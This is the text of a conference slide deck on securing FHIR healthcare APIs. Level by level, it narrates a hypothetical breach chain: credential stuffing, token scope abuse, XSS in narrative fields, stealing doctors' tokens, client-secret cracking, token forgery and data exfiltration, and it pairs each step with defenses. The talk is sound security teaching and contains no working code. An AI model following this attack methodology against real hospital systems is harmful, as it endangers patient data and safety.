Security on FHIR

Andrew Marcus

Healthcare Technologist, Asymmetrik Ltd

Redmond, 10-12 June | @HL7 @Asymmetrik | #fhirdevdays | asymmetrik.com/healthcare

HL7®, FHIR® and the f lame Design mark are registered trademarks of Health Level Seven International and are used w ith permiss ion.

Globally, in 2018:

● 41K+ reported incidents, 2,013 confirmed breaches

● Most common: stolen credentials, unpatched vulnerabilities

● Social engineering and denial of service are on the rise

● On average, it took 197 days to detect a breach

Sources: Verizon Data Breach Investigation Report 2019 and IBM Ponemon Institute Cost of Data Breach Study 2018

How does healthcare compare?

Source: Verizon Data Breach Investigation

Report 2019

2 out of 3 incidents

resulted in breaches

15% of all breaches,

2nd-highest industry

after public sector

We can do better

Let’s hack FHIR!

1. We will walk through a theoretical scenario

2. Live demo at Let’s Build! session this afternoon

3. Try it yourself at the

security table in McKinley

* apologies to South Park

Cyber-Criminal Business Plan

Phase 1 Phase 2 Phase 3

Download hacker tools Profit!

Cyber Kill Chain

RECON

LURE

LATERAL MOVEMENT

ESCALATION

DOMAIN COMPROMISE

DATA THEFT

COMPROMISE

Each attack is unique,

but follows a pattern

FHIR is just like the rest of the internet

● Same technologies

● Same vulnerabilities

● Same hacking techniques

Before:

● Everything inside the hospital

● Secure the perimeter

Now:

● Open on the internet

● Secure everything

Out of the walled garden

Defense is both deep and broad

Defense in Depth:

● Build security at every layer

Limit the Blast Radius:

● Ensure a breach in one system can’t spread

Set the stage

Hospital system with a web-based EHR

Patient-facing FHIR app

Poorly-implemented SMART-on-FHIR Server

RECON

• Closed ports

• Security patches

• Logging and monitoring

• Encryption

• Micro-segmentation

• Fine-grained permissions

Let’s assume basic network security

To our knowledge, the attack

you are about to see hasn’t actually happened

But parts of it probably have

Disclaimers

Don’t do anything illegal

Let’s Begin!

Login to a FHIR app as a patient

Source: Prince of Persia (1989) on Wikimedia Commons

LURE

Download a breach list

14 million stolen usernames and

passwords available on GitHub

Many more on the dark web

Humans are predictable

Source: https://wpengine.com/unmasked

Open-Source reconnaissance

Identify a user in the breach list who is a patient at the hospital

Use social media

● Where do they live?

● Have they ever “checked in” at the hospital?

Whose account can

we exploit?

A defender needs to be right every time

A hacker needs to be right only once

Attack!

Try usernames and passwords until you find one that works

COMPROMISE Source: Prince of Persia (1989) on Wikimedia Commons

The hospital should:

● See many failed login attempts

● Temporarily lock account

But competent cyber-criminals

will move low and slow

Won’t they notice?

You can’t prevent password reuse

You can prevent username reuse

● Auto-generate usernames

○ Patient ID, MRN, random…

● Don’t use email addresses as usernames

Prevent reuse

Stolen credentials are often the easiest way to get in

How can this be prevented?

Slow them down

● Force 2FA everywhere

● Limit failed login attempts

by username, IP address,

HTTP headers...

How can this be prevented?

2FA can be cracked too, but it is much harder

Level 1 Complete

Congratulations!

You’ve logged into a healthcare app as a patient

Single record breach Fine: up to $50,000

Source: Prince of Persia (1989) on Wikimedia Commons

COMPROMISE

Examine FHIR network requests

Now that you’re logged in, watch the FHIR payloads

Grab the OAuth2 token

Can you create your own requests?

Suppose the app needs:

● Patient narrative

● Blood pressure observations

Scopes:

● patient/Patient.*

● patient/Observation.read

What data can the app see?

What else can it see?

● Patient contact info

● Patient demographics

● Weight/BMI

● HIV test results

● Pregnancy test results

● Any other observation...

A server may trust how an app protects data

A hacker can see anything the app can see

But what if the app is compromised?

Attack!

Request every FHIR resource your token gives you access to

COMPROMISE Source: Prince of Persia (1989) on Wikimedia Commons

● An app should precisely

state what it needs

● A server should strictly

enforce app access rules

Ideas for refining scope:

● Category filter

● Query parameters

● Security labels

● JSON-based scope doc

● Allow/deny syntax

Limit scopes further

How can this be prevented?

FHIR doesn’t define a standard way to do this yet

Congratulations!

You’ve accessed more of a patient’s record than you were supposed to

We didn’t even break any rules

Level 2 Complete

Source: Prince of Persia (1989) on Wikimedia Commons

Cross-Site Scripting (XSS)

Inject malicious javascript onto a webpage, attack each visitor

Option 1: Manipulate a URL

● Not persistent

● Requires sharing a URL

Option 2: Persistent storage

● Inject into the database ● Upload into the file system

Inject malicious code

onto a webpage

What can you do with XSS? All kinds of bad things!

● Steal session cookies

● Steal auth tokens

● Log key presses

● Steal any data the user sees

● Install a remote web shell

● ...

Attack!

Our scope allows us to write to

the Patient’s record

Post malicious javascript to the Narrative field

ESCALATION Source: Prince of Persia (1989) on Wikimedia Commons

If you must allow writes:

● Use an XSS validator library to scrub out all active elements

● http://hl7.org/fhir/narrative.html

Better:

● Auto-generate narrative

Clean the Narrative

Don’t write your own regex: use a trusted library

How can this be prevented?

Congratulations!

You’ve altered a patient record

You’ve injected malicious code into the health system

Now wait patiently...

Level 3 Complete

Source: Prince of Persia (1989) on Wikimedia Commons

Password Cracking

Brute force passwords by

computing all possibilities offline

At 500 billion guesses per second:

● 8 characters in 5 minutes

● 9 characters in 10 minutes...

Specialized GPU hardware: 500 GHz

Easy to parallelize

GPUs are available in the cloud

Not as hard as before

Quantum is not required

Attack!

Attempt to brute-force the

patient’s OAuth2 token

Figure out the client secret

COMPROMISE Source: Prince of Persia (1989) on Wikimedia Commons

● Use really long secrets

or PEM certificates as secrets

● Protect client secrets

behind a server

● Scrub secrets from logs

● Encrypt every payload

Protect your secrets

Never expose client secrets in web or mobile apps

How can this be prevented?

● Force 2FA everywhere

● Require long passwords

● Encourage the use of

Password Managers

● Store passwords with salting

and strong encryption

Protect credentials

Humans can’t remember hundreds of passwords

How can this be prevented?

Congratulations!

You’ve cracked the OAuth2 client secret

Now you may be able to alter OAuth2 tokens...

Level 4 Complete

Source: Prince of Persia (1989) on Wikimedia Commons

A doctor views patient’s record

Web-based EHR application

Malicious javascript code runs

Send doctor’s OAuth2 token back to your server

Test the cracked client secret

against this token

ESCALATION

Token spoofing

From scratch:

● Try the “none” algorithm

● Attempt to forge a token

With a stolen token:

● Attempt a token refresh

● Attempt to increase scope

● Attempt to increase TTL

Can you forge a token

that the server accepts?

Attack!

Create a valid token with

● doctor’s username

● increased scope

● long TTL

DOMAIN COMPROMISE Source: Prince of Persia (1989) on Wikimedia

Commons

● Always validate tokens against authorization server

● Keep track of all issued tokens

● Use short expiration times

and state parameters

● Only allow secure algorithms

○ (i.e. RSA2048, HMAC256)

Stop token forgery

Don’t trust tokens without verifying them

How can this be prevented?

Congratulations!

You’ve forged an OAuth2 token the server will accept

You now have persistent access as this doctor

Level 5 Complete

Source: Prince of Persia (1989) on Wikimedia Commons

You may trust your employees...

A hacker can see anything the doctor can see

But what if their account is compromised?

Attack!

Query the /patients/_search

endpoint

See which patient records the doctor has access to

COMPROMISE Source: Prince of Persia (1989) on Wikimedia Commons

Some records include security labels

Some records include blank values

We found some interesting things

The results bundle includes

placeholders for results this

user is not allowed to see

● Record-level and field-level

● Strip out any data and labels a user is not allowed to see

● If a posted FHIR document has

security labels, honor them

● http://hl7.org/fhir/security-labels.html

Classify your data

Don’t trust client to hide restricted data

How can this be prevented?

Redaction indicates that escalated privileges are possible

You can use precise filters to find

a particular record Redacting Records Can a user deduce that

records exist?

If you:

● remove a required field, FHIR resource is invalid

● use a default value,

FHIR resource is inaccurate

● mark a field as redacted, a hacker knows there’s something there

What is the correct approach?

Redacting Partial Records Is a partial FHIR resource

still valid?

● Should be indistinguishable:

○ 404 Not Found

○ 403 Unauthorized

● http://hl7.org/fhir/security.html #AccessDenied

Plug leaky queries

Don’t reveal more that the user needs to know

How can this be prevented?

There’s a difference between:

● a patient asking for their

own data

● an app asking for data on behalf of a patient

● a hacker gaining access

US regulations:

● Give a patient any

data they ask for

● Or else fines

What about Data Blocking?

Level 6 Complete

Congratulations!

You’ve retrieved a list of all of the doctor’s patients

You also know there is more data

this doctor isn’t allowed to see

Source: Prince of Persia (1989) on Wikimedia Commons

Escalate!

Post malicious javascript to the narrative field of every patient

Grab the OAuth2 tokens of every doctor who accesses one

LATERAL MOVEMENT Source: Prince of Persia (1989) on Wikimedia Commons

Won’t they notice?

The hospital should see:

● Abnormal network traffic

● Suspicious logins

● Suspicious queries

● Abnormal logs

But on average, companies take

6 months to detect a breach* * IBM Ponemon Institute Cost of Data Breach Study 2017

Low and Slow

● Login as a random doctor

● Download a few records

● Come back later

Exfiltrate!

DATA THEFT

GAME OVER! From a single patient’s login, we compromised the hospital

We can:

● Login as any doctor

● Pull any PHI we want

● Change health data

● Sell health data

Multi-Record Breach! Fine: up to $50K per record

Why might a cyber-criminal want to do this?

Selling Bulk Personal Data

Hacking for profit

Identity Theft, Benefits Fraud Ransomware

76% of all attacks are financially motivated

Source: Verizon Data Breach Investigation Report 2018

Graffiti

Making a statement

Espionage DDoS

Post a statement

Steal secrets Deny access to critical systems

Targeted personal attack

Get pain meds

Alter drug

tests

Change health records

Attack medical devices

Obtain health records

Revenge

Blackmail

Kill patients

What can I do to protect my system?

Compliance ≠ Security

An insecure app can still be FHIR-compliant

● Implement all best practices: http://hl7.org/fhir/security.html

HIPAA laws are descriptive, not prescriptive

● Nobody enforces them until you are breached

DevSecOps Development Security Operations

Security is everyone’s responsibility

As a developer, it’s your responsibility to secure your code

Prioritize your vulnerabilities

My system has so many vulnerabilities!

Which should I fix first?

For each vulnerability, determine:

1. How could an attacker exploit it?

2. What else could the attacker do after exploiting it?

3. How much damage could be caused as a result?

Am I willing to accept the risk?

Composite Risk Management

There is no silver bullet for security

● Protect as much as you can

● Implement all best practices

● Keep your systems patched

● Conduct penetration testing on your own systems

● Offer bug bounties

● Expect the unexpected

Cyber Kill Chain The earlier you can interrupt an attack,

the less damage the attacker can do

RECON

LURE

COMPROMISE

LATERAL MOVEMENT

ESCALATION

DATA THEFT

DOMAIN COMPROMISE

Healthcare is critical infrastructure

What is the impact of a breach on patients?

You can hack FHIR!

1. Live in-depth demo at the Let’s Build! session today

2. Try it yourself at the

security table in McKinley

General Security Resources

OWASP Top-Ten Project

Verizon Data Breach Report

Ponemon Institute Study

WPEngine Password Analysis

MITRE Kill Chain

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

https://enterprise.verizon.com/resources/reports/dbir/

https://www.ibm.com/security/data-breach

https://wpengine.com/unmasked

https://attack.mitre.org/

FHIR Security Resources

FHIR Security Standards

FHIR Narrative

SMART-on-FHIR Best Practices

OAuth2 Security Best Practices

Asymmetrik’s Secure FHIR Server

https://www.hl7.org/fhir/security.html

https://www.hl7.org/fhir/narrative.html

http://docs.smarthealthit.org/authorization/best-practices

https://tools.ietf.org/html/draft-ietf-oauth-security-topics-06

https://asymmetrik.com/healthcare

Andrew Marcus

andrew@asymmetrik.com

Thank You! https://asymmetrik.com/healthcare